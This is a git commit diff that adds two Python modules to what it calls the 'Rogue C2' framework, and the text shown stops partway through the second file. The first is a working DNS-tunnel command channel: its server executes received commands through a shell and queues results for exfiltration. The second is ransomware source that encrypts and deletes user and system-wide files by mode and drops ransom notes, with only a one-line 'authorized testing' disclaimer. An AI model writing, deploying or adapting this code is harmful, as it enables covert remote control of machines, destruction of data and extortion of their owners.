Upload files to "/"
This commit is contained in:
parent
efc966e436
commit
beb0a464af
314
dnstunnel.py
Normal file
314
dnstunnel.py
Normal file
|
|
@ -0,0 +1,314 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: DNS Tunneling Module
|
||||||
|
DESCRIPTION: Creates covert channel using DNS queries
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.0
|
||||||
|
"""
|
||||||
|
import dns.resolver, dns.query, dns.message, base64, time, threading, queue
|
||||||
|
import socket, struct, json, datetime, os, sys, hashlib, random, string
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
|
||||||
|
class DNSTunnel:
|
||||||
|
def __init__(self, domain="rogue-c2.example.com", mode="client",
|
||||||
|
listen_ip="0.0.0.0", listen_port=53, upstream_dns="8.8.8.8"):
|
||||||
|
self.domain = domain
|
||||||
|
self.mode = mode # "client" or "server"
|
||||||
|
self.listen_ip = listen_ip
|
||||||
|
self.listen_port = listen_port
|
||||||
|
self.upstream_dns = upstream_dns
|
||||||
|
self.encryption_key = hashlib.sha256(b'RogueDNSTunnel2024').digest()
|
||||||
|
|
||||||
|
self.command_queue = queue.Queue()
|
||||||
|
self.response_queue = queue.Queue()
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
self.output_dir = os.path.expanduser("~/.cache/.rogue/dns_tunnel")
|
||||||
|
os.makedirs(self.output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
def encode_data(self, data):
|
||||||
|
"""Encode data for DNS subdomain"""
|
||||||
|
# Encrypt then base32 encode (base32 is DNS-safe)
|
||||||
|
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
|
||||||
|
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
|
||||||
|
encrypted = cipher.nonce + tag + ciphertext
|
||||||
|
|
||||||
|
# Base32 encode for DNS compatibility
|
||||||
|
encoded = base64.b32encode(encrypted).decode().rstrip('=')
|
||||||
|
|
||||||
|
# Split into DNS label chunks (max 63 chars per label)
|
||||||
|
chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
|
||||||
|
return chunks
|
||||||
|
|
||||||
|
def decode_data(self, encoded_data):
|
||||||
|
"""Decode data from DNS subdomain"""
|
||||||
|
try:
|
||||||
|
# Reconstruct base32 string
|
||||||
|
encoded = encoded_data.upper()
|
||||||
|
# Add padding if needed
|
||||||
|
padding = (8 - len(encoded) % 8) % 8
|
||||||
|
encoded += '=' * padding
|
||||||
|
|
||||||
|
# Decode base32
|
||||||
|
encrypted = base64.b32decode(encoded)
|
||||||
|
|
||||||
|
# Decrypt
|
||||||
|
nonce, tag, ciphertext = encrypted[:16], encrypted[16:32], encrypted[32:]
|
||||||
|
cipher = AES.new(self.encryption_key, AES.MODE_EAX, nonce)
|
||||||
|
data = cipher.decrypt_and_verify(ciphertext, tag)
|
||||||
|
|
||||||
|
return data.decode()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Decode error: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def send_command(self, command):
|
||||||
|
"""Send command via DNS tunnel (client side)"""
|
||||||
|
try:
|
||||||
|
# Encode command
|
||||||
|
chunks = self.encode_data(json.dumps({
|
||||||
|
"type": "command",
|
||||||
|
"command": command,
|
||||||
|
"timestamp": datetime.datetime.now().isoformat(),
|
||||||
|
"id": hashlib.md5(command.encode()).hexdigest()[:8]
|
||||||
|
}))
|
||||||
|
|
||||||
|
# Build domain name
|
||||||
|
domain_parts = []
|
||||||
|
for chunk in chunks:
|
||||||
|
domain_parts.append(chunk)
|
||||||
|
|
||||||
|
domain_parts.append(self.domain)
|
||||||
|
query_domain = '.'.join(domain_parts)
|
||||||
|
|
||||||
|
# Send DNS query (TXT record request)
|
||||||
|
resolver = dns.resolver.Resolver()
|
||||||
|
resolver.nameservers = [self.upstream_dns]
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = resolver.resolve(query_domain, 'TXT')
|
||||||
|
# Extract response from TXT records
|
||||||
|
txt_data = []
|
||||||
|
for rdata in response:
|
||||||
|
for txt_string in rdata.strings:
|
||||||
|
txt_data.append(txt_string.decode())
|
||||||
|
|
||||||
|
response_text = ''.join(txt_data)
|
||||||
|
decoded_response = self.decode_data(response_text)
|
||||||
|
|
||||||
|
if decoded_response:
|
||||||
|
response_data = json.loads(decoded_response)
|
||||||
|
return response_data.get("response", "No response")
|
||||||
|
|
||||||
|
except dns.resolver.NXDOMAIN:
|
||||||
|
return "NXDOMAIN - No such domain"
|
||||||
|
except dns.resolver.NoAnswer:
|
||||||
|
return "No answer from DNS"
|
||||||
|
except Exception as e:
|
||||||
|
return f"DNS query error: {e}"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Send command error: {e}"
|
||||||
|
|
||||||
|
def dns_server(self):
|
||||||
|
"""Run DNS server for receiving commands"""
|
||||||
|
try:
|
||||||
|
# Create UDP socket
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.bind((self.listen_ip, self.listen_port))
|
||||||
|
|
||||||
|
print(f"[+] DNS server listening on {self.listen_ip}:{self.listen_port}")
|
||||||
|
|
||||||
|
while self.running:
|
||||||
|
try:
|
||||||
|
data, addr = sock.recvfrom(512)
|
||||||
|
|
||||||
|
# Parse DNS query
|
||||||
|
request = dns.message.from_wire(data)
|
||||||
|
|
||||||
|
# Process each question
|
||||||
|
for question in request.question:
|
||||||
|
qname = question.name.to_text()
|
||||||
|
|
||||||
|
# Check if it's for our domain
|
||||||
|
if self.domain in qname:
|
||||||
|
print(f"[DNS] Query from {addr[0]}: {qname}")
|
||||||
|
|
||||||
|
# Extract encoded data from subdomain
|
||||||
|
subdomain = qname.replace(f'.{self.domain}', '')
|
||||||
|
|
||||||
|
# Try to decode command
|
||||||
|
decoded = self.decode_data(subdomain)
|
||||||
|
if decoded:
|
||||||
|
try:
|
||||||
|
command_data = json.loads(decoded)
|
||||||
|
if command_data.get("type") == "command":
|
||||||
|
# Put command in queue for processing
|
||||||
|
self.command_queue.put({
|
||||||
|
"command": command_data.get("command"),
|
||||||
|
"client": addr[0],
|
||||||
|
"timestamp": command_data.get("timestamp")
|
||||||
|
})
|
||||||
|
|
||||||
|
# Create response
|
||||||
|
response_data = {
|
||||||
|
"type": "response",
|
||||||
|
"status": "received",
|
||||||
|
"timestamp": datetime.datetime.now().isoformat()
|
||||||
|
}
|
||||||
|
|
||||||
|
# Encode response
|
||||||
|
response_encoded = self.encode_data(json.dumps(response_data))
|
||||||
|
response_txt = ''.join(response_encoded)
|
||||||
|
|
||||||
|
# Build DNS response
|
||||||
|
response = dns.message.make_response(request)
|
||||||
|
answer = dns.rrset.from_text(
|
||||||
|
question.name,
|
||||||
|
300, # TTL
|
||||||
|
'IN', 'TXT',
|
||||||
|
f'"{response_txt}"'
|
||||||
|
)
|
||||||
|
response.answer.append(answer)
|
||||||
|
|
||||||
|
# Send response
|
||||||
|
sock.sendto(response.to_wire(), addr)
|
||||||
|
|
||||||
|
except json.JSONDecodeError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] DNS server error: {e}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] DNS server failed: {e}")
|
||||||
|
|
||||||
|
def command_handler(self):
|
||||||
|
"""Handle incoming commands"""
|
||||||
|
while self.running:
|
||||||
|
try:
|
||||||
|
command_data = self.command_queue.get(timeout=1)
|
||||||
|
if command_data:
|
||||||
|
print(f"[+] Received command: {command_data['command']}")
|
||||||
|
|
||||||
|
# Execute command
|
||||||
|
import subprocess
|
||||||
|
try:
|
||||||
|
result = subprocess.check_output(
|
||||||
|
command_data['command'],
|
||||||
|
shell=True,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
timeout=30
|
||||||
|
).decode()
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
result = e.output.decode()
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
result = "Command timed out after 30 seconds"
|
||||||
|
|
||||||
|
# Store result for later exfiltration
|
||||||
|
self.response_queue.put({
|
||||||
|
"command": command_data['command'],
|
||||||
|
"result": result,
|
||||||
|
"client": command_data['client'],
|
||||||
|
"timestamp": command_data['timestamp']
|
||||||
|
})
|
||||||
|
|
||||||
|
except queue.Empty:
|
||||||
|
continue
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Command handler error: {e}")
|
||||||
|
|
||||||
|
def start_server(self):
|
||||||
|
"""Start DNS tunnel server"""
|
||||||
|
print(f"[+] Starting DNS tunnel server for domain: {self.domain}")
|
||||||
|
self.running = True
|
||||||
|
|
||||||
|
# Start DNS server thread
|
||||||
|
dns_thread = threading.Thread(target=self.dns_server, daemon=True)
|
||||||
|
dns_thread.start()
|
||||||
|
|
||||||
|
# Start command handler thread
|
||||||
|
handler_thread = threading.Thread(target=self.command_handler, daemon=True)
|
||||||
|
handler_thread.start()
|
||||||
|
|
||||||
|
try:
|
||||||
|
while self.running:
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("[+] Stopping DNS tunnel server...")
|
||||||
|
finally:
|
||||||
|
self.stop()
|
||||||
|
|
||||||
|
def start_client(self, command=None):
|
||||||
|
"""Start DNS tunnel client"""
|
||||||
|
if command:
|
||||||
|
# Send single command
|
||||||
|
print(f"[+] Sending command via DNS: {command}")
|
||||||
|
response = self.send_command(command)
|
||||||
|
print(f"[+] Response: {response}")
|
||||||
|
return response
|
||||||
|
else:
|
||||||
|
# Interactive mode
|
||||||
|
print(f"[+] Starting DNS tunnel client to domain: {self.domain}")
|
||||||
|
print("[+] Enter commands to send via DNS (or 'exit' to quit)")
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
command = input("DNS> ").strip()
|
||||||
|
if command.lower() in ['exit', 'quit']:
|
||||||
|
break
|
||||||
|
|
||||||
|
if command:
|
||||||
|
response = self.send_command(command)
|
||||||
|
print(f"[+] Response: {response}")
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error: {e}")
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop DNS tunnel"""
|
||||||
|
self.running = False
|
||||||
|
|
||||||
|
def execute(self, mode=None, command=None):
|
||||||
|
"""Execute DNS tunnel based on mode"""
|
||||||
|
mode = mode or self.mode
|
||||||
|
|
||||||
|
if mode == "server":
|
||||||
|
self.start_server()
|
||||||
|
return "[+] DNS tunnel server started"
|
||||||
|
elif mode == "client":
|
||||||
|
result = self.start_client(command)
|
||||||
|
return json.dumps({"command": command, "response": result}, indent=2)
|
||||||
|
else:
|
||||||
|
return f"[!] Unknown mode: {mode}"
|
||||||
|
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description='Rogue DNS Tunnel')
|
||||||
|
parser.add_argument('--mode', choices=['client', 'server'], default='client', help='Tunnel mode')
|
||||||
|
parser.add_argument('--domain', default='rogue-c2.example.com', help='Domain for DNS tunnel')
|
||||||
|
parser.add_argument('--command', help='Command to execute (client mode only)')
|
||||||
|
parser.add_argument('--listen-ip', default='0.0.0.0', help='Listen IP (server mode)')
|
||||||
|
parser.add_argument('--listen-port', type=int, default=53, help='Listen port (server mode)')
|
||||||
|
parser.add_argument('--upstream-dns', default='8.8.8.8', help='Upstream DNS server (client mode)')
|
||||||
|
|
||||||
|
args, unknown = parser.parse_known_args()
|
||||||
|
|
||||||
|
tunnel = DNSTunnel(
|
||||||
|
domain=args.domain,
|
||||||
|
mode=args.mode,
|
||||||
|
listen_ip=args.listen_ip,
|
||||||
|
listen_port=args.listen_port,
|
||||||
|
upstream_dns=args.upstream_dns
|
||||||
|
)
|
||||||
|
|
||||||
|
return tunnel.execute(mode=args.mode, command=args.command)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(rogue_integration())
|
||||||
739
fileransom.py
Normal file
739
fileransom.py
Normal file
|
|
@ -0,0 +1,739 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: File Encryption/Decryption
|
||||||
|
DESCRIPTION: Encrypt/decrypt files with password protection with SYSTEM-WIDE encryption option
|
||||||
|
INTEGRATION: ROGUE C2 Framework - Use via trigger_fileransom
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.0 - Added SYSTEM_WIDE encryption
|
||||||
|
SECURITY: For authorized testing only - NEVER use for illegal activities
|
||||||
|
"""
|
||||||
|
import os, sys, hashlib, json, base64, random, string, time, argparse, shutil
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
from Cryptodome.Random import get_random_bytes
|
||||||
|
from Cryptodome.Protocol.KDF import PBKDF2
|
||||||
|
|
||||||
|
class FileEncryptor:
|
||||||
|
def __init__(self, password=None):
|
||||||
|
self.password = password or self.generate_password()
|
||||||
|
self.salt = get_random_bytes(16)
|
||||||
|
self.key = self.derive_key(self.password, self.salt)
|
||||||
|
self.encrypted_files = []
|
||||||
|
self.decrypted_files = []
|
||||||
|
self.target_directories = []
|
||||||
|
|
||||||
|
def generate_password(self, length=32):
|
||||||
|
"""Generate strong password"""
|
||||||
|
chars = string.ascii_letters + string.digits + string.punctuation
|
||||||
|
return ''.join(random.choice(chars) for _ in range(length))
|
||||||
|
|
||||||
|
def derive_key(self, password, salt):
|
||||||
|
"""Derive encryption key from password"""
|
||||||
|
return PBKDF2(password, salt, dkLen=32, count=1000000)
|
||||||
|
|
||||||
|
def encrypt_file(self, filepath):
|
||||||
|
"""Encrypt a single file"""
|
||||||
|
try:
|
||||||
|
# Skip if already encrypted
|
||||||
|
if filepath.endswith('.encrypted'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Skip system critical files
|
||||||
|
system_critical = [
|
||||||
|
'/etc/passwd', '/etc/shadow', '/etc/group',
|
||||||
|
'/etc/fstab', '/etc/hosts', '/boot',
|
||||||
|
'/proc', '/sys', '/dev', '/run'
|
||||||
|
]
|
||||||
|
|
||||||
|
for critical in system_critical:
|
||||||
|
if filepath.startswith(critical):
|
||||||
|
print(f"[!] Skipping critical system file: {filepath}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Read file
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
plaintext = f.read()
|
||||||
|
|
||||||
|
# Generate IV and encrypt
|
||||||
|
iv = get_random_bytes(16)
|
||||||
|
cipher = AES.new(self.key, AES.MODE_CBC, iv)
|
||||||
|
|
||||||
|
# Pad plaintext
|
||||||
|
pad_length = 16 - (len(plaintext) % 16)
|
||||||
|
plaintext += bytes([pad_length]) * pad_length
|
||||||
|
|
||||||
|
ciphertext = cipher.encrypt(plaintext)
|
||||||
|
|
||||||
|
# Save encrypted file
|
||||||
|
encrypted_path = filepath + '.encrypted'
|
||||||
|
with open(encrypted_path, 'wb') as f:
|
||||||
|
f.write(iv + self.salt + ciphertext)
|
||||||
|
|
||||||
|
# Remove original
|
||||||
|
os.remove(filepath)
|
||||||
|
|
||||||
|
self.encrypted_files.append({
|
||||||
|
'original': filepath,
|
||||||
|
'encrypted': encrypted_path,
|
||||||
|
'timestamp': time.time(),
|
||||||
|
'size': len(ciphertext)
|
||||||
|
})
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to encrypt {filepath}: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def decrypt_file(self, encrypted_path, output_path=None):
|
||||||
|
"""Decrypt a file"""
|
||||||
|
try:
|
||||||
|
if not output_path:
|
||||||
|
output_path = encrypted_path.replace('.encrypted', '')
|
||||||
|
|
||||||
|
# Read encrypted file
|
||||||
|
with open(encrypted_path, 'rb') as f:
|
||||||
|
data = f.read()
|
||||||
|
|
||||||
|
iv = data[:16]
|
||||||
|
salt = data[16:32]
|
||||||
|
ciphertext = data[32:]
|
||||||
|
|
||||||
|
# Re-derive key
|
||||||
|
key = self.derive_key(self.password, salt)
|
||||||
|
|
||||||
|
# Decrypt
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
|
plaintext = cipher.decrypt(ciphertext)
|
||||||
|
|
||||||
|
# Remove padding
|
||||||
|
pad_length = plaintext[-1]
|
||||||
|
plaintext = plaintext[:-pad_length]
|
||||||
|
|
||||||
|
# Write decrypted file
|
||||||
|
with open(output_path, 'wb') as f:
|
||||||
|
f.write(plaintext)
|
||||||
|
|
||||||
|
# Remove encrypted file
|
||||||
|
os.remove(encrypted_path)
|
||||||
|
|
||||||
|
self.decrypted_files.append({
|
||||||
|
'encrypted': encrypted_path,
|
||||||
|
'decrypted': output_path,
|
||||||
|
'timestamp': time.time()
|
||||||
|
})
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to decrypt {encrypted_path}: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def encrypt_directory(self, directory, extensions=None, recursive=True):
|
||||||
|
"""Encrypt all files in directory"""
|
||||||
|
if not extensions:
|
||||||
|
extensions = ['.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx',
|
||||||
|
'.jpg', '.jpeg', '.png', '.gif', '.bmp', '.tiff', '.psd', '.ai',
|
||||||
|
'.zip', '.tar', '.gz', '.7z', '.rar', '.bz2', '.xz',
|
||||||
|
'.sql', '.db', '.sqlite', '.mdb', '.csv', '.xml', '.json', '.yml', '.yaml',
|
||||||
|
'.py', '.js', '.html', '.htm', '.css', '.php', '.java', '.cpp', '.c', '.go', '.rs',
|
||||||
|
'.mp3', '.mp4', '.avi', '.mkv', '.mov', '.wmv', '.flv', '.wav',
|
||||||
|
'.odt', '.ods', '.odp', '.rtf', '.tex', '.md', '.log',
|
||||||
|
'.key', '.pem', '.crt', '.cer', '.p12', '.pfx', '.der']
|
||||||
|
|
||||||
|
encrypted_count = 0
|
||||||
|
total_count = 0
|
||||||
|
|
||||||
|
if not os.path.exists(directory):
|
||||||
|
return encrypted_count, total_count
|
||||||
|
|
||||||
|
if recursive:
|
||||||
|
walk_generator = os.walk(directory)
|
||||||
|
else:
|
||||||
|
# Non-recursive: only top-level files
|
||||||
|
walk_generator = [(directory, [], [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))])]
|
||||||
|
|
||||||
|
for root, dirs, files in walk_generator:
|
||||||
|
for file in files:
|
||||||
|
# Skip already encrypted files
|
||||||
|
if file.endswith('.encrypted'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check extension
|
||||||
|
if any(file.lower().endswith(ext.lower()) for ext in extensions):
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
total_count += 1
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.encrypt_file(filepath):
|
||||||
|
encrypted_count += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Error with {filepath}: {e}")
|
||||||
|
|
||||||
|
return encrypted_count, total_count
|
||||||
|
|
||||||
|
def encrypt_system_wide(self, mode="user"):
|
||||||
|
"""Encrypt files system-wide based on mode"""
|
||||||
|
print(f"[+] Starting SYSTEM WIDE encryption mode: {mode}")
|
||||||
|
|
||||||
|
if mode == "test":
|
||||||
|
# Test mode - only encrypt /tmp
|
||||||
|
self.target_directories = ["/tmp"]
|
||||||
|
|
||||||
|
elif mode == "user":
|
||||||
|
# User files only (safer)
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
self.target_directories = [
|
||||||
|
os.path.join(home, "Documents"),
|
||||||
|
os.path.join(home, "Downloads"),
|
||||||
|
os.path.join(home, "Desktop"),
|
||||||
|
os.path.join(home, "Pictures"),
|
||||||
|
os.path.join(home, "Music"),
|
||||||
|
os.path.join(home, "Videos"),
|
||||||
|
os.path.join(home, "Public"),
|
||||||
|
os.path.join(home, "Templates"),
|
||||||
|
]
|
||||||
|
|
||||||
|
elif mode == "aggressive":
|
||||||
|
# Aggressive - all user data + some system logs
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
self.target_directories = [
|
||||||
|
os.path.join(home, "Documents"),
|
||||||
|
os.path.join(home, "Downloads"),
|
||||||
|
os.path.join(home, "Desktop"),
|
||||||
|
os.path.join(home, "Pictures"),
|
||||||
|
os.path.join(home, "Music"),
|
||||||
|
os.path.join(home, "Videos"),
|
||||||
|
os.path.join(home, "Public"),
|
||||||
|
os.path.join(home, "Templates"),
|
||||||
|
"/var/log", # System logs
|
||||||
|
"/tmp",
|
||||||
|
"/var/tmp"
|
||||||
|
]
|
||||||
|
|
||||||
|
elif mode == "destructive":
|
||||||
|
# DESTRUCTIVE - Encrypt everything except critical system files
|
||||||
|
# WARNING: This can break the system
|
||||||
|
print("[!] WARNING: DESTRUCTIVE MODE - This can break the system!")
|
||||||
|
print("[!] Only use in isolated test environments!")
|
||||||
|
|
||||||
|
# Get all mounted filesystems excluding system ones
|
||||||
|
mounted_dirs = []
|
||||||
|
try:
|
||||||
|
with open('/proc/mounts', 'r') as f:
|
||||||
|
for line in f:
|
||||||
|
parts = line.split()
|
||||||
|
if len(parts) > 1:
|
||||||
|
mount_point = parts[1]
|
||||||
|
# Skip system mounts
|
||||||
|
if mount_point not in ['/', '/boot', '/proc', '/sys', '/dev', '/run']:
|
||||||
|
mounted_dirs.append(mount_point)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
self.target_directories = [
|
||||||
|
"/home",
|
||||||
|
"/root",
|
||||||
|
"/var/www", # Web directories
|
||||||
|
"/opt",
|
||||||
|
"/usr/local",
|
||||||
|
"/srv",
|
||||||
|
"/var/lib", # Application data
|
||||||
|
"/var/log",
|
||||||
|
"/tmp",
|
||||||
|
"/var/tmp"
|
||||||
|
] + mounted_dirs
|
||||||
|
|
||||||
|
else:
|
||||||
|
print(f"[!] Unknown mode: {mode}")
|
||||||
|
return 0, 0
|
||||||
|
|
||||||
|
# Filter out non-existent directories
|
||||||
|
existing_dirs = [d for d in self.target_directories if os.path.exists(d)]
|
||||||
|
print(f"[+] Found {len(existing_dirs)}/{len(self.target_directories)} target directories")
|
||||||
|
|
||||||
|
total_encrypted = 0
|
||||||
|
total_files = 0
|
||||||
|
|
||||||
|
for directory in existing_dirs:
|
||||||
|
print(f"[+] Encrypting directory: {directory}")
|
||||||
|
encrypted, total = self.encrypt_directory(directory)
|
||||||
|
total_encrypted += encrypted
|
||||||
|
total_files += total
|
||||||
|
print(f" -> Encrypted {encrypted}/{total} files")
|
||||||
|
|
||||||
|
return total_encrypted, total_files
|
||||||
|
|
||||||
|
def create_ransom_note(self, directory=None):
|
||||||
|
"""Create README_FOR_DECRYPT.txt with instructions"""
|
||||||
|
if not directory:
|
||||||
|
directory = os.path.expanduser("~")
|
||||||
|
|
||||||
|
note_content = f"""=============================================
|
||||||
|
YOUR FILES HAVE BEEN ENCRYPTED
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
Your important files have been encrypted with military-grade AES-256 encryption.
|
||||||
|
|
||||||
|
To decrypt your files, you need the decryption password.
|
||||||
|
|
||||||
|
Password: {self.password}
|
||||||
|
|
||||||
|
=============================================
|
||||||
|
INSTRUCTIONS FOR DECRYPTION
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
1. Save this password securely
|
||||||
|
2. Run the decryption tool with this password
|
||||||
|
3. All files with .encrypted extension will be restored
|
||||||
|
|
||||||
|
=============================================
|
||||||
|
WARNING
|
||||||
|
=============================================
|
||||||
|
- Do NOT modify or delete .encrypted files
|
||||||
|
- Do NOT attempt to decrypt without the password
|
||||||
|
- Keep this file for reference
|
||||||
|
|
||||||
|
Generated: {time.ctime()}
|
||||||
|
Encryption ID: {hashlib.md5(self.password.encode()).hexdigest()[:8]}
|
||||||
|
Total Files Encrypted: {len(self.encrypted_files)}
|
||||||
|
============================================="""
|
||||||
|
|
||||||
|
note_path = os.path.join(directory, "README_FOR_DECRYPT.txt")
|
||||||
|
with open(note_path, 'w') as f:
|
||||||
|
f.write(note_content)
|
||||||
|
|
||||||
|
# Also create recovery script
|
||||||
|
recovery_script = f"""#!/bin/bash
|
||||||
|
# Recovery script for encrypted files
|
||||||
|
echo "Starting file recovery..."
|
||||||
|
echo "Using password: {self.password}"
|
||||||
|
python3 -c "
|
||||||
|
import os, sys, hashlib, base64
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
from Cryptodome.Protocol.KDF import PBKDF2
|
||||||
|
|
||||||
|
def derive_key(password, salt):
|
||||||
|
return PBKDF2(password, salt, dkLen=32, count=1000000)
|
||||||
|
|
||||||
|
password = '{self.password}'
|
||||||
|
decrypted_count = 0
|
||||||
|
|
||||||
|
for root, dirs, files in os.walk('/'):
|
||||||
|
for file in files:
|
||||||
|
if file.endswith('.encrypted'):
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
try:
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
data = f.read()
|
||||||
|
iv = data[:16]
|
||||||
|
salt = data[16:32]
|
||||||
|
ciphertext = data[32:]
|
||||||
|
key = derive_key(password, salt)
|
||||||
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
|
plaintext = cipher.decrypt(ciphertext)
|
||||||
|
pad_length = plaintext[-1]
|
||||||
|
plaintext = plaintext[:-pad_length]
|
||||||
|
output_path = filepath.replace('.encrypted', '')
|
||||||
|
with open(output_path, 'wb') as f:
|
||||||
|
f.write(plaintext)
|
||||||
|
os.remove(filepath)
|
||||||
|
decrypted_count += 1
|
||||||
|
if decrypted_count % 100 == 0:
|
||||||
|
print(f'[+] Restored {{decrypted_count}} files...')
|
||||||
|
except Exception as e:
|
||||||
|
print(f'[!] Failed: {{filepath}} - {{e}}')
|
||||||
|
|
||||||
|
print(f'[+] Recovery complete! Restored {{decrypted_count}} files.')
|
||||||
|
"
|
||||||
|
echo "Recovery complete!"
|
||||||
|
"""
|
||||||
|
|
||||||
|
script_path = os.path.join(directory, "recover_files.sh")
|
||||||
|
with open(script_path, 'w') as f:
|
||||||
|
f.write(recovery_script)
|
||||||
|
os.chmod(script_path, 0o755)
|
||||||
|
|
||||||
|
# Create desktop note for visibility
|
||||||
|
desktop = os.path.join(os.path.expanduser("~"), "Desktop")
|
||||||
|
if os.path.exists(desktop):
|
||||||
|
desktop_note = os.path.join(desktop, "YOUR_FILES_ARE_ENCRYPTED.txt")
|
||||||
|
shutil.copy(note_path, desktop_note)
|
||||||
|
|
||||||
|
return note_path
|
||||||
|
|
||||||
|
def execute_encryption(self, target_path=None, mode=None):
|
||||||
|
"""Main encryption execution"""
|
||||||
|
try:
|
||||||
|
if mode and mode.startswith("system_"):
|
||||||
|
# System-wide encryption mode
|
||||||
|
mode_type = mode.replace("system_", "")
|
||||||
|
if mode_type not in ["test", "user", "aggressive", "destructive"]:
|
||||||
|
mode_type = "user"
|
||||||
|
|
||||||
|
print(f"[+] Starting SYSTEM WIDE encryption: {mode_type} mode")
|
||||||
|
print(f"[+] Encryption password: {self.password}")
|
||||||
|
|
||||||
|
encrypted, total = self.encrypt_system_wide(mode_type)
|
||||||
|
result = f"SYSTEM WIDE: Encrypted {encrypted}/{total} files across {len(self.target_directories)} directories"
|
||||||
|
|
||||||
|
# Create ransom note in home directory
|
||||||
|
note_path = self.create_ransom_note()
|
||||||
|
print(f"[+] System-wide ransom note created: {note_path}")
|
||||||
|
|
||||||
|
elif target_path and target_path.lower() == "all":
|
||||||
|
# Legacy "all" mode - encrypt common user directories
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
common_dirs = [
|
||||||
|
os.path.join(home, "Documents"),
|
||||||
|
os.path.join(home, "Downloads"),
|
||||||
|
os.path.join(home, "Desktop"),
|
||||||
|
os.path.join(home, "Pictures")
|
||||||
|
]
|
||||||
|
|
||||||
|
total_encrypted = 0
|
||||||
|
total_files = 0
|
||||||
|
|
||||||
|
for directory in common_dirs:
|
||||||
|
if os.path.exists(directory):
|
||||||
|
print(f"[+] Encrypting: {directory}")
|
||||||
|
encrypted, total = self.encrypt_directory(directory)
|
||||||
|
total_encrypted += encrypted
|
||||||
|
total_files += total
|
||||||
|
|
||||||
|
result = f"ALL USER FILES: Encrypted {total_encrypted}/{total_files} files"
|
||||||
|
note_path = self.create_ransom_note(home)
|
||||||
|
print(f"[+] Ransom note created: {note_path}")
|
||||||
|
|
||||||
|
elif target_path:
|
||||||
|
# Normal single directory/file encryption
|
||||||
|
print(f"[+] Starting encryption of: {target_path}")
|
||||||
|
print(f"[+] Encryption password: {self.password}")
|
||||||
|
|
||||||
|
if os.path.isfile(target_path):
|
||||||
|
success = self.encrypt_file(target_path)
|
||||||
|
if success:
|
||||||
|
result = f"Encrypted 1/1 files"
|
||||||
|
else:
|
||||||
|
result = "Encryption failed"
|
||||||
|
else:
|
||||||
|
encrypted, total = self.encrypt_directory(target_path)
|
||||||
|
result = f"Encrypted {encrypted}/{total} files"
|
||||||
|
|
||||||
|
# Create ransom note if directory
|
||||||
|
if os.path.isdir(target_path):
|
||||||
|
note_path = self.create_ransom_note(target_path)
|
||||||
|
print(f"[+] Ransom note created: {note_path}")
|
||||||
|
else:
|
||||||
|
# Default to user's Documents
|
||||||
|
target_path = os.path.expanduser("~/Documents")
|
||||||
|
print(f"[+] Starting encryption of: {target_path}")
|
||||||
|
print(f"[+] Encryption password: {self.password}")
|
||||||
|
|
||||||
|
encrypted, total = self.encrypt_directory(target_path)
|
||||||
|
result = f"Encrypted {encrypted}/{total} files"
|
||||||
|
|
||||||
|
